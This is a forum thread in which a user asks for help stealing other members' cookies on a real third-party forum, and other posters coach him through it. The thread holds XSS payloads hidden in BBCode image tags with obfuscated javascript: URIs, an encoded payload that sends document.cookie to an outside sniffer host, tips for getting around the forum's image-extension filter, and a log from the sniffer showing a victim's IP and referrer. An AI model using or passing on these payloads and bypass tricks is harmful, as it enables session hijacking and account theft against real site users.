cookie stealing HELP!!

Hi There is a forum I want to steal user's cookie information,
I tried some methods like

Code:

[img]j	a	v	a	s	c	r	i	p	t:alert(document.cookie).jpg[/img]

I posted this and code alerted on the screen with cookie information but ı want this code to send my cookie logger because when it alert on the screen no use for me , is there a code send cookie to my logger

 

If it's working, you can try somthing like this

maybe, you'll need to change " to '

 

I already tried this code but Forum does not allow to post. it says IMG tags are not allowed to post ..

 

try this

it's the same, but URL encoded

 

I tried a lot of encoding methods but not succesful, Forum error says: THE FOLLOWING ERROR(S) WERE FOUND
You are not allowed to use that image extension on this board. A valid format is: http://www.domain.com/picture.gif, an invalid format is: http://www.domain.com/picture.one.gif

 

Maybe, it should have .gif on the end

or

don't forget about %3B%2F/ is't ;//

 

I tried .gif in the end it is a good idea and forum accepted it but I checked www.antichat.ru/sniff/log.php there is no cookie code bypassed but did not send any cookie to log.php

 

Not long time ago, someone public, a new online sniffer, but it's allmost in russian, if you understend some russian or you have translater, you can sing up on it.
Sniffer

There is the Post

 

I have my own sniffer , İt is older version but perfect
I have a question again

I tried this code

Code:

[img]j	a	v	a	s	c	r	i	p	t:img%3Dnew%2F**%2FImage%28%29%3Bimg.src%3D%22http%3A%2F%2Fku-pa.com%2Fmines%2Fsniff%2Fs.gif%3F%22%2Bdocument.cookie.gif[/img]

Cookie received by my sniffer like this:

IP: xx.248.35.109
COOKIE: undefined
GÖNDEREN: http://support.gorsk.net/forum/index.php?showtopic=528&st=0&gopid=3181&#entry3181
TARAYICI: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

İt says ''undefined'' (cookie part)

 

Of course, there's undefined property document.cookie.gif and I showed to you this document.cookie//image.gif . It's comment //.
chenge this
/**/ to %20
+ to %2B
" to %27
//.gif to %2F/img.gif

P.S. What's wronrg in this site, why you wonna hack it?

 

hidden thanx a lot for your helps, Iam just trying to make this xss work and made it I wont hack this website in any way